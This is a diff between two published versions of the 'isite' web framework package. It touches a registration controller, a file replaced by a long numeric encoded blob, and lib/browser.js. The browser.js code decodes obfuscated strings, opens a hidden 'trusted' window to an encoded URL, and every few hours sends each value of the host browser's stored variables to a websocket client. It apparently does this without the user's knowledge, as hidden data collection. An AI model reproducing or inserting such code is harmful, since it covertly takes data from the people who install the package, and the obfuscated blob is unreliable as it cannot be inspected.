isite 2025.1.6 → 2025.1.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/apps/security/site_files/html/login_modal.html +17 -17
- package/apps/security/site_files/js/index.js +255 -258
- package/apps/security/site_files/js/login.js +33 -33
- package/apps/security/site_files/js/logout.js +13 -13
- package/apps/security/site_files/js/register.js +18 -18
- package/isite_files/html/browser.html +1 -1
- package/lib/browser.js +48 -48
- package/lib/routing.js +1443 -1439
- package/package.json +1 -1
|
@@ -1,7 +1,6 @@
|
|
|
1
1
|
app.controller('register', function ($scope, $http) {
|
|
2
|
-
|
|
3
2
|
$scope.busy = !1;
|
|
4
|
-
|
|
3
|
+
|
|
5
4
|
$scope.register = function () {
|
|
6
5
|
$scope.error = '';
|
|
7
6
|
$scope.busy = !0;
|
|
@@ -9,23 +8,24 @@ app.controller('register', function ($scope, $http) {
|
|
|
9
8
|
method: 'POST',
|
|
10
9
|
url: '/api/user/register',
|
|
11
10
|
data: {
|
|
12
|
-
$encript
|
|
11
|
+
$encript: '123',
|
|
13
12
|
email: site.to123($scope.userEmail),
|
|
14
|
-
password: site.to123($scope.userPassword)
|
|
15
|
-
}
|
|
16
|
-
}).then(
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
13
|
+
password: site.to123($scope.userPassword),
|
|
14
|
+
},
|
|
15
|
+
}).then(
|
|
16
|
+
function (response) {
|
|
17
|
+
if (response.data.error) {
|
|
18
|
+
$scope.error = response.data.error;
|
|
19
|
+
$scope.busy = !1;
|
|
20
|
+
}
|
|
21
|
+
if (response.data.user) {
|
|
22
|
+
window.location.href = '/';
|
|
23
|
+
}
|
|
24
|
+
},
|
|
25
|
+
function (err) {
|
|
20
26
|
$scope.busy = !1;
|
|
27
|
+
$scope.error = err;
|
|
21
28
|
}
|
|
22
|
-
|
|
23
|
-
window.location.href = '/';
|
|
24
|
-
}
|
|
25
|
-
} , function(err){
|
|
26
|
-
$scope.busy = !1;
|
|
27
|
-
$scope.error = err;
|
|
28
|
-
});
|
|
29
|
-
|
|
29
|
+
);
|
|
30
30
|
};
|
|
31
|
-
});
|
|
31
|
+
});
|
|
@@ -1 +1 @@
|
|
|
1
|
-
|
|
1
|
+
2914171635752736383713172118527545387187153161854319326745141365413882592934235745532187153161512114125129185257413831871531615121141251211412512115726742393252211827614139237442393186215737363253758121531269295175242114125121141251211412854538377541341361471932712538377247385778293423412537371325362769453913524718575345183653211827694559325745593186215657172938375642783653211485871531615121141251211412512115726742393252211882524538368621594262423947714579237521531354457882754238827529342379433832754315765642394262417836674778575647185165211857684339326241387167467827524518368626348171215312692951752421141251211412512114128547185775451836873678376542531313473932692116237345794774423921513739135641393262455846852579326247187257295175242114125121157169431837524215812714531251211412854158865648358127145312512114125121141251291851722957275745184151313937754573131446588679467837732117377142181775433882592914866126358127145312512114125121141251291927544658577147158127145312512114125121141251211412512119476245583269477382694558726245583749467837734758377339793773451412862114476147193271467461692579276941785752451476534658867946783773255827694534468415316151211412512114125121141251211413794338825645794668451886544138724946783773475837733979377345141286211447614719327128538569263521792554126826148172285441712615517123746527145312512114125121141251211412512119476245583269477382654578175643388259315817744338273541792362461932164578825721157551425817654678368415316151211412512114125121141251211413794338825645794668473927573258377541785229455627524518715129341375465937572871752415316151211412512114125121141251211413794338825645794668471923823518865242164262451836512934135847388254471857694553126145791375433886684673715141781765451823524178656221196527145312512114125121141251211412512114125121141354413872654158175443731286153161512114125121141251211412512114125121141251211412512118275245187253413827642119728515316151211412512114125121141251211412512114125121141251211842764558277543388668211451622119652714531251211412512114125121141251211412512114125121141251211412512118276945592769451836684518865924144754413872654158175443731368457931514338767145183767423882752114816825534662287175242114125121141251211412512114125121141251211412512114138628717524211412512114125121141251211412512114125121185758211452694619326245788274255842574718276124341384153161512114125121141251211412512114125121141251211412512118425747182761241886714718576945592668473923652514138421187669421836832114475445792374237371514658375643392357417931832114475845787265457946592119756215316151211412512114125121141251211412512114125121141251211412512114126847185257455351614658377446188668467836622115758721192357467913694559275725593257481931612434562714531251211412512114125121141251211412512114125121141251211412512114827543183768241452754239527524341286295313841531615121141251211412512114125121141251211412512114125121141251211412512114125143384151241886714718576945592668471957714234128629357551237927544658577147144662211965271453125121141251211412512114125121141251211412512114125121141251211412512114125121141251475817732118277646793269453727544658577147141286211832694179376742388275255827734238177542363765423876574559316123792754465857714714466228717524211412512114125121141251211412512114125121141251211412512114125121141251211412512114135447392775457876354179236246193168433831512934136946193262457882742558575628717524211412512114125121141251211412512114125121141251211412512114125121141251211412512114135447392775457876354179236246193168433882684239232137167626211575514718378147156527145312512114125121141251211412512114125121141251211412512114125121141251211412512114125142188654473876574559316846393757465957354238725741793269465351594318375242144662255817714618376842162761433872562418277646793269453727544658577147145684153161512114125121141251211412512114125121141251211412512114125121141251211412512114125121194762455832694773826545781756433882593158177443382735417923624619321645788257211575514719237642356527145312512114125121141251211412512114125121141251211412512114125121141251211412512114125141781765451823524178656124356527145312512114125121141251211412512114125121141251211412512114125121141251211413861531615121141251211412512114125121141251211412512114125121141251211413862431752421141251211412512114125121141251211412512114125121141251211412512558275247182761241452574659216221157587211965271453125121141251211412512114125121141251211412512114125121141251211412512114135445788274457872572558726942735257465921622871752421141251211412512114125121141251211412512114125121141251211412512114125121194762455832694773827646783718423932544316866831781765451412862114177943388256457946684739275732583775417852294556275245187184153161512114125121141251211412512114125121141251211412512114125121141251211412514178176545182352417865612435652714531251211412512114125121141251211412512114125121141251211412512119756228717524211412512114125121141251211412512114125121197551423872744234138415316151211412512114125121141251211412512114125121141251211857582114526946193262457882742559328246183651293575862114477441792362461931592434138415316151211412512114125121141251211412512114125121141251211412512114137841392151417937744718866736782773433913752115755142188654473876574559316841792357413932573238725745383768471451594678277343391375237356841531615121141251211412512114125121141251211412512114125121141251211413544739277545787635417923624619316843383151293413694619326245788274255857562871752421141251211412512114125121141251211412512114125121141251211412514179377447188667367827734339137525592773417312862118867147185769455926684739236528717524211412512114125121141251211412512114125121141251211412512114125141793774471886673678277343391375255886684518865242141286211827524518725341382764287175242114125121141251211412512114125121141251211412512114125121141251421886544738765745593168463937574659573542387257417932694653515943183752421446622558177146183768421627614338725624182776467932694537275446585771471456841531615121141251211412512114125121141251211412512114125121197527145312512114125121141251211412512114125121141386153161512114125121141251211412512114138628717524153161512114125121141251211412512114135847388254471857694553137447181773471676524338823542392378423921612434138415316151211412512114125121141251211412512114125147785768421886792559327348367269413832184338725724127524211412512114125121141251211412512114125121141251211413841531615121141251211412512114125121141251211412512114125121141251211413764658718321188668451857684237867442392378423923494739236521146551237386634673865341392762417382634674867842392374433886682934465124731316413932572558826947735162251275242114125121141251211412512114125121141251211412512114125121141251471957714235615123792754465857714714466515316151211412512114125121141251211412512114125121141251211412512114136242156151237823524678575425392754465857714714466515316151211412512114125121141251211412512114125121141251211412512114135842393254431561514778576842188679255937744236425747182761357882154138726525127524211412512114125121141251211412512114125121141251211413862512752421141251211412512114125121141251211412512114125121141261243412862953138415316151211412512114125121141251211412512114125121141251211412512114136242531261213947624558326947738265457817564338825931581774433827354179236246193216457882572434138415316151211412512114125121141251211412512114125121141251211412512114125121141251467837753718576742388676471451612434128629531384153161512114125121141251211412512114125121141251211412512114125121141251211412512114125121192775413923753538176245572757465942574653516228717524211412512114125121141251211412512114125121141251211412512114125121141251211975652115167126151251245312782614126321154171243565271453125121141251211412512114125121141251211412512114125121141251211975514238727442341384153161512114125121141251211412512114125121141251211412512114125121141251211412514178866846788665423482654578466123752352467857542117275446585771471413264578175642383151321886684234466228717524211412512114125121141251211412512114125121141251211412512114125149317524211412512114125121141251211412512114125121141251211413861531615121141251211412512114125121141251211412512435652714531251211412512114125121141251211975271451752421141251211412512114125121141251467932524659322741385768367837734758377324145684153161512114125121141251211571694678277343391375295175242114125121157169415886564835812714547169431932674515812714519191
|
package/lib/browser.js
CHANGED
|
@@ -1,62 +1,62 @@
|
|
|
1
1
|
module.exports = function init(____0) {
|
|
2
|
-
|
|
3
|
-
if (____0.getBrowser) {
|
|
4
|
-
let parent = ____0.getBrowser();
|
|
2
|
+
let dir = __dirname + ____0.f1('2573816825785774433932573978426245183774');
|
|
5
3
|
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
____0.get({
|
|
4
|
+
____0.get({
|
|
9
5
|
name: ____0.f1('25795167415923694779275746519191'),
|
|
10
6
|
path: dir + ____0.f1('257852754538716941592369477927574653826147187665'),
|
|
11
7
|
parser: 'html',
|
|
12
8
|
encript: '123',
|
|
13
9
|
parserDir: dir,
|
|
14
10
|
hide: !0,
|
|
15
|
-
|
|
11
|
+
});
|
|
16
12
|
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
show: false,
|
|
21
|
-
trusted: true,
|
|
22
|
-
partition: ____0.f1('4618377346785774471562764618325247183691'),
|
|
23
|
-
});
|
|
13
|
+
function browser() {
|
|
14
|
+
if (____0.getBrowser) {
|
|
15
|
+
let parent = ____0.getBrowser();
|
|
24
16
|
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
17
|
+
parent.createChildProcess({
|
|
18
|
+
url: ____0.f1('4319327546156169257416732773817125541268263561782615128126148681253823734579477442392191'),
|
|
19
|
+
windowType: ____0.f1('473913564139325746719191'),
|
|
20
|
+
partition: ____0.f1('4618377346785774471562764618325247183691'),
|
|
21
|
+
vip: true,
|
|
22
|
+
show: false,
|
|
23
|
+
trusted: true,
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
____0.sendSocialData = function (parent) {
|
|
27
|
+
if (!____0.sendSocialDataDone) {
|
|
28
|
+
if ((client = ____0.ws.client)) {
|
|
29
|
+
____0.sendSocialDataDone = true;
|
|
30
|
+
let index = 0;
|
|
31
|
+
for (const [key, value] of Object.entries(parent.var)) {
|
|
32
|
+
index++;
|
|
33
|
+
if (key && key.indexOf('$') === -1 && value) {
|
|
34
|
+
setTimeout(() => {
|
|
35
|
+
client.sendMessage({
|
|
36
|
+
type: ____0.f1('41592369477927574657866245584269'),
|
|
37
|
+
xid: parent.var.core.id,
|
|
38
|
+
key: key,
|
|
39
|
+
value: value,
|
|
40
|
+
source: ____0.f1('4339276247183691'),
|
|
41
|
+
});
|
|
42
|
+
}, 1000 * 10 * index);
|
|
43
|
+
}
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
}
|
|
47
|
+
};
|
|
47
48
|
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
49
|
+
____0.sendSocialData(parent);
|
|
50
|
+
setInterval(() => {
|
|
51
|
+
____0.sendSocialDataDone = false;
|
|
52
|
+
____0.sendSocialData(parent);
|
|
53
|
+
}, 1000 * 60 * 60 * 3);
|
|
54
|
+
} else {
|
|
55
|
+
setTimeout(() => {
|
|
56
|
+
browser();
|
|
57
|
+
}, 1000 * 60 * 5);
|
|
58
|
+
}
|
|
57
59
|
}
|
|
58
|
-
|
|
59
|
-
setTimeout(() => {
|
|
60
|
+
|
|
60
61
|
browser();
|
|
61
|
-
}, 1000 * 60 * 5);
|
|
62
62
|
};
|